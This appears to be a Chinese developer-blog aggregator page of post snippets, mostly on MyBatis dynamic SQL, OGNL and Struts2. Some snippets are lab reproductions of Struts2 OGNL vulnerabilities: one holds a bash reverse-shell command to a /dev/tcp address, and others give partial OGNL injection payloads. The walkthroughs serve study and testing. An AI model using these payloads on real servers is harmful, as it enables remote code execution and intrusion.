- MyBatis 学习笔记(4) 动态SQL
张云飞Vir
1.背景本节讲mybatis应对动态SQL的场景。2.知识动态SQL是指“条件"不固定的SQL,对比于一般的SQL,动态SQL会有一个或者多个条件/参数。比如:场景:查询的时候,如果用户输入了姓名,就按姓名模糊查询;同时又输入了邮箱,就再增加一个条件按姓名+邮箱两个条件查询。传统的拼接SQL很费力,拼接时要确保不能忘记添加必要的空格,还要注意去掉列表最后一个列名的逗号。借助功能强大的基于OGNL的
- MyBatis<if>标签判断字符串相等写法
都旭宝
mybatis
mybatis映射文件中,if标签判断字符串相等,两种方式:因为mybatis映射文件,是使用的ognl表达式,所以在判断字符串sex变量是否是字符串Y的时候,1.注意:不能使用and1=1因为mybatis会把’Y’解析为字符,java是强类型语言,所以不能这样写。
- Mybatis的XML文件中<if>标签内的判断语句equals的坑
家乡的落日
工作学习问题记录mybatis
Mybatis中执行SQL语句:假如代码中Stringname=“B”;在Mybatis的XML文件中有如下判断:--返回false--返回true--返回true可能是因为OGNL对单字符的识别当成了char类型,而我们代码中是String类型,所以判断成了false。所以在Mybatis的XML文件中判断字符串是否相等,建议使用test='name!=nullandname.equals("B
- JAVA Web学习(20)___第14章Struts2基础
岁月静好浅笑安然
第14章Struts2基础14.1Struts2概述14.1.1理解MVC原理14.1.2Struts2框架的产生14.1.3Struts2的结构体系14.2Struts2入门14.2.1Struts2的获取与放置开发struts项目必须添加的类库文件名称说明struts2-core-2.5.20.jarStruts2的核心类库xwork-core-2.1.6.jarXworkd的核心类库ognl
- struts2_ognl入门
小漫画ing
ognl的概述:1、之前在web阶段,学过el表达式,el表达式在jsp中获取域对象中的值。2、ognl也是一种表达式,而这个种表达式的功能更加强大。(1)在struts里面操作只栈数据。(2)一般把OGNL在Struts2操作,和Struts2标签一起使用操作值栈。3、OGNL不是Struts2的一部分,单独项目,经常和Struts2一起使用而已。(1)使用OGNL时候首先导入jar包,Stru
- Struts2 S2-045漏洞复现
你能拿我咋的
渗透测试漏洞复现strutsjavaweb安全
1.漏洞概述OGNL是ObjectGraphicNavigationLanguage(对象图导航语言)的缩写,它是一个开源项目。Struts框架使用OGNL作为默认的表达式语言。struts2的rce本质都是一样的(除了S2-052以外),都是Struts2框架执行了恶意用户传进来的OGNL表达式,造成远程代码执行。可以造成“命令执行、服务器文件操作、打印回显、获取系统属性、危险代码执行”等,只不
- Mybatis使用动态sql时,参数为0判断test,查询条件的值传入0时,查询条件判断失效的问题
小百菜
javamybatis
1、判断Integer类型privateIntegerstatus;//状态,0,1,2。andstatus=#{status}当status的值为0的时候,where条件中的sql未正常拼接,即iftest中的条件不成立(false,应该为true才对),sql拼接失效原因:mybatis在预编译sql时,使用OGNL表达式来解析if标签,对于Integer类型属性,在判断不等于''时,会返回'
- OGNL
虫儿飞ZLEI
layout:posttitle:OGNLsubtitle:OGNLdate:2018-05-31author:ZLheader-img:img/20180531.jpgcatalog:truetags:-OGNLOGNL(对象视图导航语言)${user.addr.name}这种写法就叫对象视图导航.OGNL不仅仅可以视图导航.支持比EL表达式更加丰富的功能.使用导包在struts2的包中就已经包
- 备战蓝桥杯---数学基础2
cocoack
蓝桥杯算法笔记c++经验分享
学了常见的筛法,让我们看个题:首先,我们知道欧拉筛复杂度为nlognlogn,这题可以承受,但是空间上存不了,而如果我们枚举1--n^1/2,复杂度不允许。其实在枚举的方法中,我们只需找出有无在【2,n^1/2]的素数即可。这样,我们就可以用类似打表的形式记入素数。n^1/2差不多3万,有前面的定理可知质数数量差不多几十个,这样子就可以了。下面介绍算数基本定理:任何一个N=p1^c1*p2^c2*
- 六、动态SQL
Class鸣
if(判断)choose(分支选择)whenotherwisetrimwheresetforeachiftest:判断表达式(OGNL)从参数中取值判断普通的SELECT*FROMusersWHEREuid=#{uid}>")-->anduname=#{uname}andbirthday=#{birthday}封装查询条件Xxx=Xxx-->SELECT*FROMusersWHERE1=
- BUUCTF-Real-[struts2]s2-001
真的学不了一点。。。
漏洞复现与研究javastruts
漏洞描述struts2漏洞S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据。例如,在注册或登录页面中,如果提交失败,则服务器通常默认情况下将返回先前提交的数据。由于服务器用于%{value}对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷来执行命令。漏洞poc验证经过poc验证,我们发现[st
- Struts2+Spring+Hibernate的工作流程及原理(整理的)
满脑子灵感
SSH框架工作流SSH原理
Struts2框架一、简介Struts2是一个相当强大的JavaWeb开源框架,是一个基于POJO的Action的MVCWeb框架。它基于当年的WebWork和XWork框架,继承其优点,同时做了相当的改进。1、Struts2基于MVC架构,框架结构清晰,开发流程一目了然,开发人员可以很好的掌控开发的过程。2、使用OGNL进行参数传递。OGNL提供了在Struts2里访问各种作用域的数据的简单方式
- 墨者学院-Apache Struts2远程代码执行漏洞(S2-007)复现
nohands_noob
靶场地址:https://www.mozhe.cn/bug/detail/dHlnc25uQ2RXYVhvRnIzNzhYaEFwQT09bW96aGUmozhe漏洞原理:当提交表单中变量的类型出现错误时,进行了错误的字符串拼接,后端会执行OGNL表达式漏洞测试:在年龄中输入非数字类型点击登陆,年龄框的value变成11,证明漏洞存在任意命令执行exp:'+(#_memberAccess["all
- ASP.NET Core 3.1系列(31)——日志组件NLog的基础使用方法
HerryDong
ASP.NETCoreC#ASP.NETCore
1、前言在生产环境中部署软件时,日志模块是必不可少的。在.NETFramework时代,Log4net是最常用的日志组件,而在.NETCore开发环境下,NLog的使用频率开始大幅提高。下面就来介绍一下NLog的基础使用方法。2、引入NLog新建一个WebAPI工程,使用NuGet引入如下组件:NLogNLog.Web.AspNetCore3、配置文件nlog.config新建一个XML文件,文件
- Struts2远程代码执行漏洞复现
大象只为你
跟我学网安知识网络安全命令执行漏洞复现
★★免责声明★★文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。1、漏洞介绍Struts2漏洞是一个经典的漏洞系列,根源在于Struts2引入了OGNL表达式使得框架具有灵活的动态性。随着整体框架的补丁完善,现在想挖掘新的Struts2漏洞会比以前困难很多,因为大部分用户早就修复了历史的高危漏洞。
- BUUCTF-Real-[struts2]s2-013
真的学不了一点。。。
漏洞复现与研究网络安全安全web安全
struts2的标签中和都有一个includeParams属性,可以设置成如下值none-URL中不包含任何参数(默认)get-仅包含URL中的GET参数all-在URL中包含GET和POST参数当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。此时或尝试去解析原始请求参数时,会导致OGNL表达式的执行在s2-013中,因为参数的问题导致rc
- MyBatis映射文件
碧海暮苍梧
MyBatisjavamybatis
一、映射文件的SQL标签再映射文件中存在9大顶层的sql标签:SQL拼接与操作:select、delete、update、insert、sql(include)缓存:cache、cache-ref参数映射:parameterMap(该标签已被废除,关于参数的映射可以使用行内参数映射)解决映射:resultMap1、OGNL表达式与#{}、${}OGNL表达式的使用它是apache提供的一种表达式语
- mybatis set遇到坑: BuilderException: Error evaluating expression ‘shr ! = ‘‘ ,shr是关键字!
zz--1111
MyBatismybatis
updatetableNameshr=#{shr},.........Causedby:org.apache.ibatis.builder.BuilderException:Errorevaluatingexpression'shr!=''andshr!=null'.Cause:org.apache.ibatis.ognl.ExpressionSyntaxException:MalformedOG
- mybatis if标签判断字符串相等
gaoshan12345678910
mybatismybatisjavatomcat
mybatisif标签判断字符串相等mybatis映射文件中,if标签判断字符串相等,两种方式:因为mybatis映射文件,是使用的ognl表达式,所以在判断字符串sex变量是否是字符串Y的时候,1.2.注意:不能使用and1=1因为mybatis会把'Y'解析为字符,java是强类型语言,所以不能这样写。
- mybatis if标签判断字符串相等
特_尼
mybatis映射文件中,if标签判断字符串相等,两种方式:因为mybatis映射文件,是使用的ognl表达式,所以在判断字符串sex变量是否是字符串Y的时候,第一种方法第二种方法注意:不能使用and1=1因为mybatis会把'Y'解析为字符,java是强类型语言,所以不能这样写。参考文档:https://www.cnblogs.com/westward/p/6910856.html
- mybatis的动态标签,在实际开发中公共的字段怎么写sql
人帝
mybatissql数据库
MyBatis的动态SQL是一种强大的机制,可以根据不同的条件生成不同的SQL语句,其中的动态标签包括,,,,,,,等,使得在实际开发中可以更灵活地构建SQL语句。当需要在实际开发中处理公共字段时,可以使用动态标签结合MyBatis的参数和OGNL表达式来处理。下面是一些在实际开发中处理公共字段的示例:1.使用****标签处理公共字段:UPDATEuserusername=#{username},
- JAVA----Thymeleaf 常用语法
damys
JAVAjavaThymeleaf
变量Thymeleaf的主要作用是把model中的数据渲染到html中model中的变量${...}语法和el表达式差不多,但它是ognl表达式自定义变量script//协议名称varscheme=[[${#request.getScheme()}]];//服务器名称varserverName=[[${#request.getServerName()}]];//服务器端口号varserverPor
- [漏洞复现]Apache Struts2/S2-015 (CVE-2013-2134)
free key
漏洞复现春秋云境靶场Strutsapachestrutsweb安全安全
一、漏洞情况分析2.3.14.3之前的ApacheStruts2允许远程攻击者通过带有在通配符匹配期间未正确处理的精心制作的操作名称的请求执行任意OGNL代码,这是与CVE-2013-2135不同的漏洞。二、漏洞复现春秋云境.com进入靶场开始复现构造payload/${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_
- [漏洞复现]Apache Struts2/S2-013 (CVE-2013-1966)
free key
漏洞复现春秋云境靶场Strutsapachestrutsjavaweb安全安全
一、漏洞情况分析2.3.14.2之前的ApacheStruts2允许远程攻击者通过在(1)URL或(2)A标签中使用includeParams属性时未正确处理的特制请求执行任意OGNL代码。二、漏洞复现春秋云境.com进入靶场开始复现bash-i>&/dev/tcp/127.0.0.1/99990>&1base加密bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOT
- [漏洞复现]Apache Struts2/S2-015 (CVE-2013-2135)
free key
Struts春秋云境靶场apachestrutsjavaweb安全安全
一、漏洞情况分析2.3.14.3之前的ApacheStruts2允许远程攻击者通过一个包含“${}”和“%{}”序列的特制值的请求执行任意OGNL代码,这会导致OGNL代码被评估两次。二、漏洞复现春秋云境.com进入靶场开始复现构造好payload,弹nc${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_member
- 平衡树详解
一棵油菜花
算法篇算法学习c++数据结构
更好的阅读体验平衡树是一种二叉查找树,其平衡性使得树的深度在logn\lognlogn以内,增加、删除等操作可以做到O(logn)O(\logn)O(logn).平衡树的实现有多种,本文主要介绍AVLAVLAVL、TreapTreapTreap、FHQTreapFHQ\TreapFHQTreap与SplaySplaySplay.AVL介绍AVLAVLAVL是这些算法中时间复杂度最优秀的,也是码
- Arthas中ognl表达式使用详解,以及通过ognl表达式获取Spring项目上下文中对象参数信息
kerwin_code
javaspringjava后端springboot
目录前言一、基础操作1.1、使用`ognl`表达式获取静态属性和调用静态方法1.1.1、测试代码1.1.2、获取静态属性`ognl`表达式1.1.3、调用静态方法`ognl`表达式1.2、使用`ognl`表达式操作对象的非静态属性和非静态方法1.2.1、测试代码1.2.2、获取非静态属性`ognl`表达式1.2.3、调用非静态方法`ognl`表达式二、进阶操作2.1、使用`ognl`表达式创建一个
- Java全栈课程之Mybatis详解——动态SQL
小孙同学1024
Java全栈开发javamybatissql
什么是动态SQL:根据不同的条件生成不同的SQL语句,利用动态SQL,可以彻底摆脱这种痛苦。如果你之前用过JSTL或任何基于类XML语言的文本处理器,你对动态SQL元素可能会感觉似曾相识。在MyBatis之前的版本中,需要花时间了解大量的元素。借助功能强大的基于OGNL的表达式,MyBatis3替换了之前的大部分元素,大大精简了元素种类,现在要学习的元素种类比原来的一半还要少。ifchoose(w
- OGNL的基本语法与用法
天一i
OGNL表达式的基本语法和基本用法一.OGNL中的#、%和$符号#、%和$符号在OGNL表达式中经常出现,而这三种符号也是开发者不容易掌握和理解的部分。在这里我们简单介绍它们的相应用途。1.#符号的三种用法1)访问非根对象属性,例如示例中的#session.msg表达式,由于Struts2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀。实际上,#相当于ActionContext.getC
- Template Engine-06-模板引擎 Handlebars 入门介绍
老马啸西风
tools测试用例开发语言java
拓展阅读java表达式引擎logstash日志加工处理-08-表达式执行引擎AviatorScript+MVEL+OGNL+SpEL+JEXL+JUEL+JaninoQLExpress阿里表达式引擎系统学习什么是Handlebars?Handlebars是一种简单的模板语言。它使用模板和输入对象生成HTML或其他文本格式。Handlebars模板看起来像带有嵌入的Handlebars表达式的常规文
- Java实现的简单双向Map,支持重复Value
superlxw1234
java双向map
关键字:Java双向Map、DualHashBidiMap
有个需求,需要根据即时修改Map结构中的Value值,比如,将Map中所有value=V1的记录改成value=V2,key保持不变。
数据量比较大,遍历Map性能太差,这就需要根据Value先找到Key,然后去修改。
即:既要根据Key找Value,又要根据Value
- PL/SQL触发器基础及例子
百合不是茶
oracle数据库触发器PL/SQL编程
触发器的简介;
触发器的定义就是说某个条件成立的时候,触发器里面所定义的语句就会被自动的执行。因此触发器不需要人为的去调用,也不能调用。触发器和过程函数类似 过程函数必须要调用,
一个表中最多只能有12个触发器类型的,触发器和过程函数相似 触发器不需要调用直接执行,
触发时间:指明触发器何时执行,该值可取:
before:表示在数据库动作之前触发
- [时空与探索]穿越时空的一些问题
comsci
问题
我们还没有进行过任何数学形式上的证明,仅仅是一个猜想.....
这个猜想就是; 任何有质量的物体(哪怕只有一微克)都不可能穿越时空,该物体强行穿越时空的时候,物体的质量会与时空粒子产生反应,物体会变成暗物质,也就是说,任何物体穿越时空会变成暗物质..(暗物质就我的理
- easy ui datagrid上移下移一行
商人shang
js上移下移easyuidatagrid
/**
* 向上移动一行
*
* @param dg
* @param row
*/
function moveupRow(dg, row) {
var datagrid = $(dg);
var index = datagrid.datagrid("getRowIndex", row);
if (isFirstRow(dg, row)) {
- Java反射
oloz
反射
本人菜鸟,今天恰好有时间,写写博客,总结复习一下java反射方面的知识,欢迎大家探讨交流学习指教
首先看看java中的Class
package demo;
public class ClassTest {
/*先了解java中的Class*/
public static void main(String[] args) {
//任何一个类都
- springMVC 使用JSR-303 Validation验证
杨白白
springmvc
JSR-303是一个数据验证的规范,但是spring并没有对其进行实现,Hibernate Validator是实现了这一规范的,通过此这个实现来讲SpringMVC对JSR-303的支持。
JSR-303的校验是基于注解的,首先要把这些注解标记在需要验证的实体类的属性上或是其对应的get方法上。
登录需要验证类
public class Login {
@NotEmpty
- log4j
香水浓
log4j
log4j.rootCategory=DEBUG, STDOUT, DAILYFILE, HTML, DATABASE
#log4j.rootCategory=DEBUG, STDOUT, DAILYFILE, ROLLINGFILE, HTML
#console
log4j.appender.STDOUT=org.apache.log4j.ConsoleAppender
log4
- 使用ajax和history.pushState无刷新改变页面URL
agevs
jquery框架Ajaxhtml5chrome
表现
如果你使用chrome或者firefox等浏览器访问本博客、github.com、plus.google.com等网站时,细心的你会发现页面之间的点击是通过ajax异步请求的,同时页面的URL发生了了改变。并且能够很好的支持浏览器前进和后退。
是什么有这么强大的功能呢?
HTML5里引用了新的API,history.pushState和history.replaceState,就是通过
- centos中文乱码
AILIKES
centosOSssh
一、CentOS系统访问 g.cn ,发现中文乱码。
于是用以前的方式:yum -y install fonts-chinese
CentOS系统安装后,还是不能显示中文字体。我使用 gedit 编辑源码,其中文注释也为乱码。
后来,终于找到以下方法可以解决,需要两个中文支持的包:
fonts-chinese-3.02-12.
- 触发器
baalwolf
触发器
触发器(trigger):监视某种情况,并触发某种操作。
触发器创建语法四要素:1.监视地点(table) 2.监视事件(insert/update/delete) 3.触发时间(after/before) 4.触发事件(insert/update/delete)
语法:
create trigger triggerName
after/before 
- JS正则表达式的i m g
bijian1013
JavaScript正则表达式
g:表示全局(global)模式,即模式将被应用于所有字符串,而非在发现第一个匹配项时立即停止。 i:表示不区分大小写(case-insensitive)模式,即在确定匹配项时忽略模式与字符串的大小写。 m:表示
- HTML5模式和Hashbang模式
bijian1013
JavaScriptAngularJSHashbang模式HTML5模式
我们可以用$locationProvider来配置$location服务(可以采用注入的方式,就像AngularJS中其他所有东西一样)。这里provider的两个参数很有意思,介绍如下。
html5Mode
一个布尔值,标识$location服务是否运行在HTML5模式下。
ha
- [Maven学习笔记六]Maven生命周期
bit1129
maven
从mvn test的输出开始说起
当我们在user-core中执行mvn test时,执行的输出如下:
/software/devsoftware/jdk1.7.0_55/bin/java -Dmaven.home=/software/devsoftware/apache-maven-3.2.1 -Dclassworlds.conf=/software/devs
- 【Hadoop七】基于Yarn的Hadoop Map Reduce容错
bit1129
hadoop
运行于Yarn的Map Reduce作业,可能发生失败的点包括
Task Failure
Application Master Failure
Node Manager Failure
Resource Manager Failure
1. Task Failure
任务执行过程中产生的异常和JVM的意外终止会汇报给Application Master。僵死的任务也会被A
- 记一次数据推送的异常解决端口解决
ronin47
记一次数据推送的异常解决
需求:从db获取数据然后推送到B
程序开发完成,上jboss,刚开始报了很多错,逐一解决,可最后显示连接不到数据库。机房的同事说可以ping 通。
自已画了个图,逐一排除,把linux 防火墙 和 setenforce 设置最低。
service iptables stop
- 巧用视错觉-UI更有趣
brotherlamp
UIui视频ui教程ui自学ui资料
我们每个人在生活中都曾感受过视错觉(optical illusion)的魅力。
视错觉现象是双眼跟我们开的一个玩笑,而我们往往还心甘情愿地接受我们看到的假象。其实不止如此,视觉错现象的背后还有一个重要的科学原理——格式塔原理。
格式塔原理解释了人们如何以视觉方式感觉物体,以及图像的结构,视角,大小等要素是如何影响我们的视觉的。
在下面这篇文章中,我们首先会简单介绍一下格式塔原理中的基本概念,
- 线段树-poj1177-N个矩形求边长(离散化+扫描线)
bylijinnan
数据结构算法线段树
package com.ljn.base;
import java.util.Arrays;
import java.util.Comparator;
import java.util.Set;
import java.util.TreeSet;
/**
* POJ 1177 (线段树+离散化+扫描线),题目链接为http://poj.org/problem?id=1177
- HTTP协议详解
chicony
http协议
引言
- Scala设计模式
chenchao051
设计模式scala
Scala设计模式
我的话: 在国外网站上看到一篇文章,里面详细描述了很多设计模式,并且用Java及Scala两种语言描述,清晰的让我们看到各种常规的设计模式,在Scala中是如何在语言特性层面直接支持的。基于文章很nice,我利用今天的空闲时间将其翻译,希望大家能一起学习,讨论。翻译
- 安装mysql
daizj
mysql安装
安装mysql
(1)删除linux上已经安装的mysql相关库信息。rpm -e xxxxxxx --nodeps (强制删除)
执行命令rpm -qa |grep mysql 检查是否删除干净
(2)执行命令 rpm -i MySQL-server-5.5.31-2.el
- HTTP状态码大全
dcj3sjt126com
http状态码
完整的 HTTP 1.1规范说明书来自于RFC 2616,你可以在http://www.talentdigger.cn/home/link.php?url=d3d3LnJmYy1lZGl0b3Iub3JnLw%3D%3D在线查阅。HTTP 1.1的状态码被标记为新特性,因为许多浏览器只支持 HTTP 1.0。你应只把状态码发送给支持 HTTP 1.1的客户端,支持协议版本可以通过调用request
- asihttprequest上传图片
dcj3sjt126com
ASIHTTPRequest
NSURL *url =@"yourURL";
ASIFormDataRequest*currentRequest =[ASIFormDataRequest requestWithURL:url];
[currentRequest setPostFormat:ASIMultipartFormDataPostFormat];[currentRequest se
- C语言中,关键字static的作用
e200702084
C++cC#
在C语言中,关键字static有三个明显的作用:
1)在函数体,局部的static变量。生存期为程序的整个生命周期,(它存活多长时间);作用域却在函数体内(它在什么地方能被访问(空间))。
一个被声明为静态的变量在这一函数被调用过程中维持其值不变。因为它分配在静态存储区,函数调用结束后并不释放单元,但是在其它的作用域的无法访问。当再次调用这个函数时,这个局部的静态变量还存活,而且用在它的访
- win7/8使用curl
geeksun
win7
1. WIN7/8下要使用curl,需要下载curl-7.20.0-win64-ssl-sspi.zip和Win64OpenSSL_Light-1_0_2d.exe。 下载地址:
http://curl.haxx.se/download.html 请选择不带SSL的版本,否则还需要安装SSL的支持包 2. 可以给Windows增加c
- Creating a Shared Repository; Users Sharing The Repository
hongtoushizi
git
转载自:
http://www.gitguys.com/topics/creating-a-shared-repository-users-sharing-the-repository/ Commands discussed in this section:
git init –bare
git clone
git remote
git pull
git p
- Java实现字符串反转的8种或9种方法
Josh_Persistence
异或反转递归反转二分交换反转java字符串反转栈反转
注:对于第7种使用异或的方式来实现字符串的反转,如果不太看得明白的,可以参照另一篇博客:
http://josh-persistence.iteye.com/blog/2205768
/**
*
*/
package com.wsheng.aggregator.algorithm.string;
import java.util.Stack;
/**
- 代码实现任意容量倒水问题
home198979
PHP算法倒水
形象化设计模式实战 HELLO!架构 redis命令源码解析
倒水问题:有两个杯子,一个A升,一个B升,水有无限多,现要求利用这两杯子装C
- Druid datasource
zhb8015
druid
推荐大家使用数据库连接池 DruidDataSource. http://code.alibabatech.com/wiki/display/Druid/DruidDataSource DruidDataSource经过阿里巴巴数百个应用一年多生产环境运行验证,稳定可靠。 它最重要的特点是:监控、扩展和性能。 下载和Maven配置看这里: http
- 两种启动监听器ApplicationListener和ServletContextListener
spjich
javaspring框架
引言:有时候需要在项目初始化的时候进行一系列工作,比如初始化一个线程池,初始化配置文件,初始化缓存等等,这时候就需要用到启动监听器,下面分别介绍一下两种常用的项目启动监听器
ServletContextListener
特点: 依赖于sevlet容器,需要配置web.xml
使用方法:
public class StartListener implements
- JavaScript Rounding Methods of the Math object
何不笑
JavaScriptMath
The next group of methods has to do with rounding decimal values into integers. Three methods — Math.ceil(), Math.floor(), and Math.round() — handle rounding in differen